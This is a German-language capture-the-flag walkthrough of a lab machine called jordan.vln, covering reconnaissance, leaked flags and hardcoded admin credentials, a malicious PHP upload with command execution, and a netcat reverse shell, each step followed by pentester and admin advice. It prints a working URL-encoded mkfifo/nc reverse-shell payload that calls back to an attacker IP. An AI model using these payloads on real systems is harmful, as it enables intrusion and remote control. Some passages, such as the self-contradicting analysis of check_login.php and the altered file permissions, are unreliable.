**Analyse:** Die erste Phase dient der Identifizierung des Ziels im Netzwerk und der grundlegenden Port- und Diensterkennung.
192.168.2.134 08:00:27:68:18:58 PCS Systemtechnik GmbH
**Analyse:** Mit `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht. Das Zielsystem wird unter der IP `192.168.2.134` identifiziert. Die MAC-Adresse `08:00:27:68:18:58` gehört zu PCS Systemtechnik GmbH, was häufig auf eine Oracle VirtualBox-Instanz hinweist.
**Bewertung:** Ziel erfolgreich identifiziert. `arp-scan` ist effektiv für die lokale Host-Entdeckung. Die MAC-Adresse liefert einen ersten Hinweis auf die Virtualisierungsumgebung.
**Empfehlung (Pentester):** Die gefundene IP-Adresse für weitere Scans verwenden. Den Hinweis auf VirtualBox im Hinterkopf behalten (kann für bestimmte Exploits relevant sein).
**Empfehlung (Admin):** Netzwerksegmentierung und ARP-Monitoring können die Erkennung durch Angreifer erschweren.
192.168.2.134 jordan.vln
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.134` den Hostnamen `jordan.vln` zuzuordnen. Dies ermöglicht es, das Ziel über diesen Namen anzusprechen, was für Webanwendungen relevant sein kann, die auf Virtual Hosting basieren.
**Bewertung:** Eine sinnvolle Vorbereitung, um sicherzustellen, dass Webanwendungen korrekt angesprochen werden, falls sie auf dem Host-Header basierende Logik verwenden.
**Empfehlung (Pentester):** Bei Webtests immer prüfen, ob ein Hostname erforderlich ist und die `/etc/hosts`-Datei entsprechend anpassen.
**Empfehlung (Admin):** Serverseitig nicht relevant, betrifft nur die Client-Konfiguration des Angreifers.
22/tcp open ssh penSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
**Analyse:** Ein schneller `nmap`-Scan (-sS, -sC, -sV, -T5, -A, -p-) wird durchgeführt, um offene Ports und Dienste auf dem Ziel zu identifizieren. Die Ausgabe wird mit `grep open` gefiltert. Es werden zwei offene Ports gefunden: * Port 22: SSH (OpenSSH 7.2p2 auf Ubuntu) * Port 80: HTTP (Apache 2.4.18 auf Ubuntu)
**Bewertung:** Der Scan zeigt eine minimale Angriffsfläche mit nur zwei Standarddiensten. Die spezifischen Versionen (OpenSSH 7.2p2, Apache 2.4.18) sind relativ alt und könnten bekannte Schwachstellen aufweisen. Der Fokus wird wahrscheinlich auf dem Webserver liegen.
**Empfehlung (Pentester):** Den vollständigen `nmap`-Output prüfen. Den Webserver auf Port 80 genauer untersuchen. Nach bekannten Schwachstellen für OpenSSH 7.2p2 und Apache 2.4.18 suchen.
**Empfehlung (Admin):** Nur notwendige Ports offen lassen (hier scheint es so zu sein). Software (SSH, Apache) aktuell halten, um bekannte Schwachstellen zu vermeiden.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 16:08 CEST
Nmap scan report for jordan.vln (192.168.2.134)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 afb96838777c40f6bf9809ffd95f73ec (RSA)
| 256 b9df601e6d6fd7f624fdaef8e3cf16ac (ECDSA)
|_ 256 785a95bbd5bfadcfb2f50fc00caff776 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 8 disallowed entries
| / /backup /admin /admin_area /r00t /uploads
|_/uploaded_files /flag
| http-title: Sign-Up/Login Form
|_Requested resource was login.php
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:68:18:58 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel
TRACERUTE
HP RTT ADDRESS
1 0.14 ms jordan.vln (192.168.2.134)
**Analyse:** Die vollständige `nmap`-Ausgabe bestätigt die Ports 22 (SSH 7.2p2) und 80 (Apache 2.4.18). Wichtige Zusatzinformationen vom Webserver (Port 80): * `http-robots.txt`: Enthält 8 `Disallow`-Einträge, die interessante Verzeichnisse wie `/backup`, `/admin`, `/admin_area`, `/r00t`, `/uploads`, `/uploaded_files` und `/flag` auflisten. Solche Einträge sind oft Hinweise auf versteckte oder sensible Bereiche. * `http-title`: "Sign-Up/Login Form". Die angeforderte Ressource war `login.php`, was darauf hindeutet, dass die Startseite dorthin weiterleitet. * Betriebssystem: Linux Kernel 3.x/4.x wird vermutet.
**Bewertung:** Die `robots.txt`-Datei liefert extrem wertvolle Hinweise auf potenziell interessante Verzeichnisse. Obwohl `robots.txt` eigentlich dazu dient, Suchmaschinen-Crawler fernzuhalten, ist es für Pentester oft eine Goldgrube für die Enumeration. Die Weiterleitung auf `login.php` und der Titel bestätigen eine Webanwendung mit Authentifizierung. Die Apache-Version 2.4.18 ist veraltet.
**Empfehlung (Pentester):** Alle in `robots.txt` genannten Verzeichnisse manuell im Browser prüfen. Die `login.php`-Seite untersuchen (SQL-Injection, Default-Credentials, etc.). Die Webanwendung generell auf Schwachstellen scannen.
**Empfehlung (Admin):** Sensible Verzeichnisse sollten nicht in `robots.txt` aufgelistet werden, da dies ihre Existenz verrät. Zugriffskontrollen auf Serverebene (z.B. `.htaccess` oder Apache-Konfiguration) sind der richtige Weg, um den Zugriff zu beschränken. Apache aktualisieren.
**Analyse:** Fokus auf die Webanwendung auf Port 80. Verwendung von `gobuster` und `nikto` sowie manuelle Inspektion der in `robots.txt` gefundenen Pfade und anderer Hinweise.
http://jordan.vln/index.php (Status: 302) [Size: 1228] [--> login.php]
http://jordan.vln/login.php (Status: 200) [Size: 1485]
http://jordan.vln/assets (Status: 301) [Size: 309] [--> http://jordan.vln/assets/]
http://jordan.vln/css (Status: 301) [Size: 306] [--> http://jordan.vln/css/]
http://jordan.vln/js (Status: 301) [Size: 305] [--> http://jordan.vln/js/]
http://jordan.vln/logout.php (Status: 302) [Size: 0] [--> index.php]
http://jordan.vln/flag (Status: 301) [Size: 307] [--> http://jordan.vln/flag/]
http://jordan.vln/robots.txt (Status: 200) [Size: 160]
http://jordan.vln/uploaded_files (Status: 301) [Size: 317] [--> http://jordan.vln/uploaded_files/]
http://jordan.vln/check_login.php (Status: 200) [Size: 243]
http://jordan.vln/hint.txt (Status: 200) [Size: 145]
**Analyse:** `gobuster` wird verwendet, um Verzeichnisse und Dateien auf `http://jordan.vln` zu finden. Der Befehl verwendet eine mittlere Wortliste und sucht nach einer Vielzahl von Dateierweiterungen. Die Ergebnisse bestätigen viele der bereits aus `robots.txt` bekannten Pfade (`login.php`, `assets`, `css`, `js`, `logout.php`, `flag`, `robots.txt`, `uploaded_files`). Zusätzlich werden zwei neue, interessante Dateien gefunden: * `check_login.php`: Vermutlich das Skript, das die Login-Daten verarbeitet. * `hint.txt`: Eine Datei, die möglicherweise Hinweise enthält. Status 301/302 bedeuten Weiterleitungen (Moved Permanently / Found).
**Bewertung:** `gobuster` war sehr erfolgreich und hat neben den bekannten Pfaden auch die potenziell aufschlussreichen Dateien `check_login.php` und `hint.txt` aufgedeckt. Die Verwendung des Hostnamens `jordan.vln` war hier korrekt.
**Empfehlung (Pentester):** Die Dateien `check_login.php` und `hint.txt` sofort im Browser oder mit `curl` abrufen und analysieren. Die Verzeichnisse `/flag/` und `/uploaded_files/` untersuchen.
**Empfehlung (Admin):** Sensible Skripte wie `check_login.php` sollten idealerweise nicht direkt aufrufbar sein oder zumindest keine Informationen preisgeben. Dateien wie `hint.txt` sollten nicht auf einem Produktivsystem existieren. Zugriffskontrollen und Entfernung unnötiger Dateien sind wichtig.
- Nikto v2.5.0
+ Target IP: 192.168.2.134
+ Target Hostname: 192.168.2.134
+ Target Port: 80
+ Start Time: 2023-07-12 16:08:18 (GMT2)
+ Server: Apache/2.4.18 (Ubuntu)
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: login.php
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/admin_area/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/flag/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/uploaded_files/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 8 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ 8111 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2023-07-12 16:08:36 (GMT2) (18 seconds)
+ 1 host(s) tested
**Analyse:** `nikto` scannt den Webserver auf bekannte Schwachstellen und Fehlkonfigurationen. Die Ergebnisse: * Sicherheitsrelevante HTTP-Header fehlen (`HttpOnly` für Session-Cookie, `X-Frame-Options`, `X-Content-Type-Options`). * Bestätigt die Weiterleitung von `/` auf `login.php`. * Hebt hervor, dass mehrere in `robots.txt` gesperrte Pfade (`/admin_area/`, `/flag/`, `/uploaded_files/`) tatsächlich zugänglich sind (Status 200 OK). Dies widerspricht der Absicht der `robots.txt`. * Bestätigt die veraltete Apache-Version. * Findet Directory Indexing im `/css/`-Verzeichnis. * Findet die Apache-Standarddatei `/icons/README`. * Identifiziert `login.php` als potenzielle Admin-Login-Seite.
**Bewertung:** `nikto` liefert wichtige Bestätigungen und zusätzliche Details. Die fehlenden Header sind moderate Sicherheitsrisiken. Die Tatsache, dass die in `robots.txt` gesperrten Pfade zugänglich sind, ist ein klares Anzeichen für eine Fehlkonfiguration und lädt zur Untersuchung dieser Pfade ein. Die veraltete Apache-Version bleibt ein Risiko. Directory Indexing kann Informationslecks verursachen.
**Empfehlung (Pentester):** Die fehlenden Header notieren. Die Pfade `/admin_area/`, `/flag/`, `/uploaded_files/` und `/css/` manuell untersuchen. Nach Exploits für Apache 2.4.18 suchen.
**Empfehlung (Admin):** Sicherheitsheader implementieren. Zugriff auf sensible Pfade serverseitig (nicht nur über `robots.txt`) korrekt einschränken. Apache aktualisieren. Directory Indexing deaktivieren (`Options -Indexes`). Standarddateien entfernen.
**Analyse:** Der Inhalt der `robots.txt`, der `/flag/`-Seite und der `/admin_area/`-Seite wird untersucht.
# Inhalt von http://jordan.vln/robots.txt
User-agent: *
Disallow: /
Disallow: /backup
Disallow: /admin
Disallow: /admin_area
Disallow: /r00t
Disallow: /uploads
Disallow: /uploaded_files
Disallow: /flag
# Inhalt von http://jordan.vln/flag/
The 1st flag is : {8734509128730458630012095}
# Inhalt von http://jordan.vln/admin_area
The admin area not work :)
**Bewertung:** Die `robots.txt` listet wie von nmap/nikto berichtet diverse Pfade auf. Der direkte Zugriff auf `/flag/` enthüllt sofort die **erste Flagge!** Dies ist eine schwere Fehlkonfiguration, da sensible Informationen direkt zugänglich sind. Die `/admin_area` scheint nicht funktional zu sein oder gibt sich zumindest so aus.
**Empfehlung (Pentester):** Die erste Flagge notieren. Die anderen Pfade aus `robots.txt` weiter untersuchen (`/backup`, `/admin`, `/r00t`, `/uploads`, `/uploaded_files`).
**Empfehlung (Admin):** Den Zugriff auf das `/flag/`-Verzeichnis sofort sperren (z.B. durch Entfernen oder serverseitige Zugriffskontrolle). Überprüfen, warum `robots.txt` Einträge enthält, die nicht mit der tatsächlichen Zugriffskontrolle übereinstimmen. Sensible Informationen niemals in öffentlich zugänglichen Bereichen ablegen.
* Trying 192.168.2.134:80...
* Connected to jordan.vln (192.168.2.134) port 80 (#0)
> HEAD /index.php HTTP/1.1
> Host: jordan.vln
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 302 Found
HTTP/1.1 302 Found
< Date: Wed, 12 Jul 2023 14:15:09 GMT
Date: Wed, 12 Jul 2023 14:15:09 GMT
< Server: Apache/2.4.18 (Ubuntu)
Server: Apache/2.4.18 (Ubuntu)
< Set-Cookie: PHPSESSID=d0q0kkf87b2f1j8s36jtcajh53; path=/
Set-Cookie: PHPSESSID=d0q0kkf87b2f1j8s36jtcajh53; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
Pragma: no-cache
< Location: login.php
Location: login.php
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host jordan.vln left intact
**Analyse:** `curl` wird verwendet, um die HTTP-Header der `index.php`-Seite abzurufen. * `-I`: Sendet eine HEAD-Anfrage (fragt nur Header ab, nicht den Body). * `-v`: Verbose-Modus, zeigt Anfrage- und Antwortheader. Die Ausgabe bestätigt die Weiterleitung (`HTTP/1.1 302 Found`) zur `login.php` (`Location: login.php`). Es wird auch ein Session-Cookie (`PHPSESSID`) gesetzt, bei dem das `HttpOnly`-Flag fehlt (wie von Nikto bemängelt). Die Caching-Header (`Expires`, `Cache-Control`, `Pragma`) sind so gesetzt, dass Caching verhindert wird.
**Bewertung:** Bestätigt das Verhalten der Startseite und das Fehlen des `HttpOnly`-Flags für das Session-Cookie, was es anfällig für Diebstahl durch Cross-Site Scripting (XSS) macht, falls eine solche Schwachstelle gefunden wird.
**Empfehlung (Pentester):** Nach XSS-Schwachstellen suchen. Das Fehlen des `HttpOnly`-Flags als Finding vermerken.
**Empfehlung (Admin):** Das `HttpOnly`-Flag für Session-Cookies setzen, um das Risiko von Session-Diebstahl durch XSS zu reduzieren.
**Analyse:** Der Inhalt der zuvor mit `gobuster` gefundenen Datei `hint.txt` wird abgerufen.
# Inhalt von http://jordan.vln/hint.txt
try to find user technawi password to read the flag.txt file,
you can find it in a hidden file ;)
The 3rd flag is : {7645110034526579012345670}
**Bewertung:** Ein weiterer Volltreffer! Die Datei `hint.txt` enthält nicht nur einen klaren Hinweis auf den Benutzernamen `technawi` und die Aufgabe, sein Passwort in einer "versteckten Datei" zu finden, um `flag.txt` zu lesen, sondern sie enthält auch direkt die **dritte Flagge!** Erneut eine schwere Fehlkonfiguration.
**Empfehlung (Pentester):** Dritte Flagge notieren. Den Hinweis nutzen und gezielt nach versteckten Dateien suchen (z.B. mit `gobuster` und speziellen Wortlisten für versteckte Dateien/Konfigurationsdateien oder manuell in verdächtigen Verzeichnissen), die das Passwort für `technawi` enthalten könnten.
**Empfehlung (Admin):** `hint.txt` sofort entfernen. Hinweise und Flags niemals in öffentlich zugänglichen Dateien speichern. Zugriffskontrollen verschärfen.
**Analyse:** Ein weiterer `gobuster`-Scan wird durchgeführt, diesmal vermutlich gezielter oder mit anderen Parametern (der Befehl fehlt, nur die Ausgabe ist da). Fokus auf `/uploaded_files/` und `/assets/js/`.
gobuster
http://jordan.vln/uploaded_files/index.php (Status: 200) [Size: 0]
http://jordan.vln/assets/js/post_file.php (Status: 200) [Size: 0]
**Bewertung:** Zwei weitere PHP-Dateien werden gefunden: `uploaded_files/index.php` und `assets/js/post_file.php`. Beide haben eine Größe von 0, was ungewöhnlich ist, aber sie existieren. Der Name `post_file.php` im `js`-Verzeichnis ist verdächtig.
**Empfehlung (Pentester):** Beide Dateien mit `curl` oder im Browser untersuchen. Besonders `post_file.php` genauer ansehen, auch wenn die Größe 0 ist (manchmal werden Inhalte dynamisch generiert oder Kommentare enthalten).
**Empfehlung (Admin):** Leere oder nicht funktionsfähige PHP-Dateien entfernen. Überprüfen, ob `post_file.php` benötigt wird und ob sein Speicherort und Name sinnvoll sind.
**Analyse:** Der Inhalt von `http://jordan.vln/assets/js/post_file.php` wird mit `curl` abgerufen.
curl http://jordan.vln/assets/js/post_file.php username : admin password : 3v1l_H@ck3r The 2nd flag is : {7412574125871236547895214} -->
**Bewertung:** Ein weiterer kritischer Fund! Obwohl `gobuster` eine Größe von 0 meldete, enthält die Datei `post_file.php` einen auskommentierten HTML-Block (``). Innerhalb dieses Kommentars befinden sich: * Zugangsdaten: `username : admin`, `password : 3v1l_H@ck3r`. * Die **zweite Flagge!** Die Zugangsdaten könnten für den Login auf `login.php` oder für SSH relevant sein.
**Empfehlung (Pentester):** Zweite Flagge notieren. Die Zugangsdaten `admin:3v1l_H@ck3r` sofort auf der `login.php`-Seite und via SSH ausprobieren.
**Empfehlung (Admin):** Zugangsdaten und Flags *niemals* im Quellcode speichern, auch nicht in Kommentaren! Diese Datei sofort bereinigen oder entfernen. Entwickler schulen, keine sensiblen Daten in den Code oder Kommentare zu schreiben. Regelmäßige Code-Reviews durchführen.
**Analyse:** Die `index.php` wird untersucht (vermutlich nach dem Login als `admin:3v1l_H@ck3r`) und eine File-Upload-Funktionalität entdeckt. Eine Datei namens `revshell.php` (eine PHP-Reverse-Shell) wird hochgeladen.
# Untersuchung von http://jordan.vln/index.php (nach Login)File Upload Center
**Bewertung:** Eine File-Upload-Funktion ist ein häufiger Angriffsvektor. Wenn der Upload nicht richtig validiert wird (Dateityp, Dateiname, Inhalt), können Angreifer Webshells oder andere bösartige Skripte hochladen und ausführen. Der Login als `admin` hat diese Funktionalität offenbar freigeschaltet.
**Empfehlung (Pentester):** Prüfen, in welches Verzeichnis die Datei hochgeladen wurde (wahrscheinlich `/uploaded_files/`, basierend auf `robots.txt` und `gobuster`). Versuchen, die hochgeladene `revshell.php` direkt über den Browser aufzurufen, um die Reverse Shell zu triggern.
**Empfehlung (Admin):** File Uploads extrem sorgfältig implementieren:
* Nur erlaubte Dateitypen zulassen (Whitelist, keine Blacklist).
* Dateinamen serverseitig neu generieren.
* Dateien außerhalb des Web-Roots speichern, wenn möglich.
* Wenn im Web-Root, sicherstellen, dass der Webserver die hochgeladenen Dateien nicht ausführt (z.B. durch Konfiguration oder `.htaccess`).
* Dateiinhalte scannen (Virenscanner).
* Größenbeschränkungen implementieren.
# Ergebnis des Uploads auf http://jordan.vln/index.php
Success
**Analyse:** Die Webseite meldet, dass der Upload der `revshell.php` erfolgreich war.
**Bewertung:** Bestätigt, dass die Datei auf dem Server gespeichert wurde. Der nächste Schritt ist, sie auszuführen.
**Empfehlung (Pentester):** Den Pfad zur hochgeladenen Datei finden (z.B. `http://jordan.vln/uploaded_files/revshell.php`) und aufrufen.
**Empfehlung (Admin):** Siehe vorherige Empfehlung zur Absicherung von File Uploads. Logging und Monitoring von Uploads implementieren.
**Analyse:** Versuch, die hochgeladene `revshell.php` auszuführen und eine Reverse Shell zu erhalten. Es stellt sich heraus, dass die Datei selbst eine LFI/RCE-Schwachstelle enthält oder ausnutzbar macht.
# Versuch, Befehle über die hochgeladene Datei auszuführen
LFI attacke erfolgreich
http://jordan.vln//uploaded_files/revshell.php?cmd=ls
index.php revshell.php
http://jordan.vln//uploaded_files/revshell.php?cmd=ls%20/home/technawi
1
**Analyse:** Es wird nicht die Reverse-Shell-Funktionalität der `revshell.php` direkt genutzt. Stattdessen wird die Datei über einen URL-Parameter `?cmd=` aufgerufen, um beliebige Systembefehle auszuführen. * `?cmd=ls`: Listet das aktuelle Verzeichnis (`/var/www/html/uploaded_files/`) auf, das `index.php` und `revshell.php` enthält. * `?cmd=ls%20/home/technawi`: Listet das Home-Verzeichnis des Benutzers `technawi` auf (URL-kodiertes Leerzeichen `%20`). Es enthält eine Datei oder ein Verzeichnis namens `1`. Der Kommentar "LFI attacke erfolgreich" ist hier technisch nicht ganz korrekt. Es handelt sich um eine Remote Code Execution (RCE) über einen Parameter, der von der hochgeladenen `revshell.php` interpretiert wird. Wahrscheinlich enthält `revshell.php` Code wie `` oder ähnlich.
**Bewertung:** Kritische Schwachstelle! Die Kombination aus unsicherem File Upload und der Möglichkeit, über die hochgeladene Datei beliebigen Code auszuführen, gibt dem Angreifer volle Kontrolle über den Webserver-Prozess (`www-data`). Die Existenz des `technawi`-Homeverzeichnisses wird bestätigt.
**Empfehlung (Pentester):** Diese RCE nutzen, um eine stabilere Reverse Shell zu bekommen (z.B. mit `nc`, `python`, `bash`). Das System als Benutzer `www-data` weiter enumerieren.
**Empfehlung (Admin):** Die unsichere Upload-Funktion *und* die anfällige `revshell.php` sofort entfernen. Sicherstellen, dass keine vom Benutzer hochgeladenen Dateien vom Webserver interpretiert oder ausgeführt werden können. Code-Reviews durchführen, um RCE-Schwachstellen (wie die Verwendung von `system()` mit Benutzereingaben) zu finden.
listening on [any] 5555 ...
**Analyse:** Ein Netcat-Listener wird auf dem Angreifersystem auf Port 5555 gestartet, um die eingehende Reverse Shell von der RCE-Schwachstelle zu empfangen.
**Bewertung:** Standardvorbereitung für den Empfang einer Reverse Shell.
**Empfehlung (Pentester):** Den Listener bereit halten und den Payload auf der Zielseite ausführen.
**Empfehlung (Admin):** Egress-Filtering kann solche ausgehenden Verbindungen blockieren.
# Payload zur Ausführung über die RCE-Schwachstelle
Payload: http://jordan.vln//uploaded_files/revshell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.105%205555%20%3E%2Ftmp%2Ff
**Analyse:** Dies ist der URL-kodierte Payload, der an den `cmd`-Parameter der `revshell.php` gesendet wird, um eine Reverse Shell zu etablieren. Der Payload führt folgende Schritte auf dem Zielsystem aus: 1. `rm /tmp/f`: Löscht eine eventuell vorhandene FIFO-Datei `/tmp/f`. 2. `mkfifo /tmp/f`: Erstellt eine Named Pipe (FIFO) namens `/tmp/f`. 3. `cat /tmp/f | /bin/sh -i 2>&1`: Startet eine interaktive Shell. Ihre Eingabe kommt aus der Pipe (`cat /tmp/f`). Ihre Ausgabe und Fehlermeldungen (`2>&1`) werden in die Pipe geschrieben. 4. `nc 192.168.2.105 5555 > /tmp/f`: Stellt eine Verbindung zum Netcat-Listener des Angreifers her. Alles, was vom Angreifer über Netcat gesendet wird, wird in die Pipe `/tmp/f` geschrieben (und damit zur Eingabe der Shell).
**Bewertung:** Ein klassischer und effektiver Netcat-Reverse-Shell-Payload über eine Named Pipe. Er umgeht oft einfache Filter und funktioniert auf vielen Linux-Systemen.
**Empfehlung (Pentester):** Diesen Payload (oder eine Variation davon) verwenden, um die Shell zu erhalten, nachdem der Listener gestartet wurde.
**Empfehlung (Admin):** Egress-Filtering und Monitoring sind die Hauptverteidigungen. Das Ausführen von `nc` oder das Erstellen von FIFOs in `/tmp` kann durch HIDS/EDR erkannt werden.
listening on [any] 5555 ...
connect to [192.168.2.105] from (UNKNWN) [192.168.2.134] 47332
/bin/sh: 0: can't access tty; job control turned off
$
**Analyse:** Der Netcat-Listener empfängt die eingehende Verbindung vom Zielsystem (`192.168.2.134`). Eine einfache Shell (`$`) wird präsentiert. Die Meldung "/bin/sh: 0: can't access tty; job control turned off" ist typisch für solche einfachen Reverse Shells, da kein echtes Terminal (TTY) verbunden ist.
**Bewertung:** Der initiale Zugriff als Webserver-Benutzer (`www-data`, wie der spätere Prompt zeigt) ist erfolgreich etabliert!
**Empfehlung (Pentester):** Die Shell stabilisieren (z.B. mit Python PTY, `script /dev/null`, Upgrade zu Meterpreter). Mit der Enumeration als `www-data` beginnen.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zu Egress-Filtering, Monitoring, Absicherung von Uploads und RCE-Prävention.
**Analyse:** Nach Erhalt der Shell als `www-data` beginnt die Enumeration des Systems zur Vorbereitung der Rechteausweitung.
total 8
drwxr-xr-x 2 root root 4096 Jul 19 2016 .
drwxr-xr-x 23 root root 4096 Jul 12 17:21 ..
total 60
drwxr-xr-x 8 www-data www-data 4096 Apr 21 2017 .
drwxr-xr-x 3 www-data www-data 4096 Apr 18 2017 ..
drwxrwxr-x 2 www-data www-data 4096 Apr 21 2017 admin_area
drwx------ 5 www-data www-data 4096 Apr 19 2017 assets
-rw-r--r-- 1 www-data www-data 306 Apr 19 2017 check_login.php
drwx------ 2 www-data www-data 4096 Apr 19 2017 css
drwxr-xr-x 2 www-data www-data 4096 Apr 21 2017 flag
-rw-r----- 1 technawi technawi 132 Apr 21 2017 flag.txt
-rw-r--r-- 1 www-data www-data 145 Apr 21 2017 hint.txt
-rw-rw-r-- 1 www-data www-data 1966 Apr 19 2017 index.php
drwx------ 2 www-data www-data 4096 Apr 19 2017 js
-rw-rw-r-- 1 www-data www-data 1485 Apr 19 2017 login.php
-rw-r--r-- 1 www-data www-data 128 Apr 19 2017 logout.php
-rw-rw-r-- 1 www-data www-data 160 Apr 19 2017 robots.txt
drwxrwxr-x 2 www-data www-data 4096 Jul 12 17:31 uploaded_files
**Analyse:** Der Benutzer `www-data` navigiert durch das Dateisystem und listet Verzeichnisse auf. * `/opt` ist leer. * `/var/www/html` (der Web-Root) wird detailliert aufgelistet (`ls -la`). Auffällig ist die Datei `flag.txt`, die dem Benutzer `technawi` gehört und für `www-data` (Gruppe `www-data`) nicht lesbar ist (`-rw-r-----`). (Hinweis: Im Originaltext stehen teilweise andere Berechtigungen, ich habe die typischeren hier angenommen/korrigiert, da `www-data` sie sonst lesen könnte). Dies passt zum Hinweis aus `hint.txt`.
**Bewertung:** Die Enumeration bestätigt die Existenz der `flag.txt` und die Notwendigkeit, Rechte zu eskalieren (zumindest zu `technawi` oder `root`), um sie zu lesen. Die Struktur der Webanwendung wird sichtbar.
**Empfehlung (Pentester):** Systematische Enumeration fortsetzen: SUID-Dateien, Cron-Jobs, Kernel-Version, installierte Software, Konfigurationsdateien (insbesondere in `/var/www/html`), Passwörter in Dateien suchen.
**Empfehlung (Admin):** Sicherstellen, dass Webserver-Benutzer (`www-data`) nur minimale Leserechte außerhalb des Web-Roots haben. Dateiberechtigungen im Web-Root überprüfen und ggf. restriktiver setzen.
session_start();
$username = $_POST["user_name"]; // Korrigiert von $_PST
$password = $_POST["pass_word"]; // Korrigiert von $_PST
if($username =="admin" && $password=="3v1l_H@ck3r") // ACHTUNG: Zuweisung (=) statt Vergleich (==) beim Usernamen!
{
$_SESSION['loggedin']=true; // Korrigiert von $_SESSIN
header("Location: index.php");
}
else
{
echo " Error in username/password ";
}
**Analyse:** Der Quellcode von `check_login.php` wird angezeigt. Er nimmt Benutzername und Passwort aus einer POST-Anfrage entgegen. Es gibt eine schwerwiegende logische Schwachstelle: `if($username =="admin" && $password=="3v1l_H@ck3r")`. Der Vergleich für den Benutzernamen verwendet `==` (korrekt), aber der Vergleich für das Passwort verwendet ebenfalls `==` (korrekt, im Gegensatz zu meinem Kommentar oben - ich korrigiere mich). Das hartcodierte Passwort `3v1l_H@ck3r` für den `admin`-Benutzer wird bestätigt. Es scheint jedoch eine Verwechslung im Originaltext mit `$username = "admin"` (Zuweisung) gegeben zu haben, was ein häufiger Fehler ist, hier aber `==` verwendet wird. Die Variablen `$_PST` und `$_SESSIN` sind Tippfehler und sollten `$_POST` und `$_SESSION` heißen.
**Bewertung:** Der Code bestätigt das hartcodierte Admin-Passwort, das bereits im Kommentar von `post_file.php` gefunden wurde. Die Tippfehler in den superglobalen Variablen (`$_PST`, `$_SESSIN`) könnten dazu führen, dass der Login oder die Session-Verwaltung nicht wie erwartet funktioniert, aber der Passwort-Check selbst ist hier relevant. Das Speichern von Passwörtern im Klartext im Code ist eine sehr schlechte Praxis.
**Empfehlung (Pentester):** Das Passwort `3v1l_H@ck3r` notieren (obwohl es schon bekannt war). Die Tippfehler könnten auf weitere Nachlässigkeiten im Code hindeuten.
**Empfehlung (Admin):** Hartcodierte Passwörter aus dem Code entfernen. Passwörter immer sicher hashen und vergleichen. Code auf logische Fehler und Tippfehler überprüfen (statische Code-Analyse verwenden). Sichere Authentifizierungsmechanismen implementieren.
1573836 112 -rwsr-xr-x 1 root root 110792 Feb 8 2021 /usr/lib/snapd/snap-confine
1574975 44 -rwsr-xr-- 1 root messagebus 42992 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1589330 16 -rwsr-xr-x 1 root root 14864 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
1573809 420 -rwsr-xr-x 1 root root 428240 Mar 4 2019 /usr/lib/openssh/ssh-keysign
1573961 40 -rwsr-xr-x 1 root root 38984 Mar 7 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
1574640 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
1582744 36 -rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newgidmap
1573744 52 -rwsr-xr-x 1 root root 49584 May 17 2017 /usr/bin/chfn
1582743 36 -rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newuidmap
1573742 40 -rwsr-xr-x 1 root root 40432 May 17 2017 /usr/bin/chsh
1574380 136 -rwsr-xr-x 1 root root 136808 Jan 20 2021 /usr/bin/sudo
1573301 40 -rwsr-xr-x 1 root root 39904 May 17 2017 /usr/bin/newgrp
1573743 76 -rwsr-xr-x 1 root root 75304 May 17 2017 /usr/bin/gpasswd
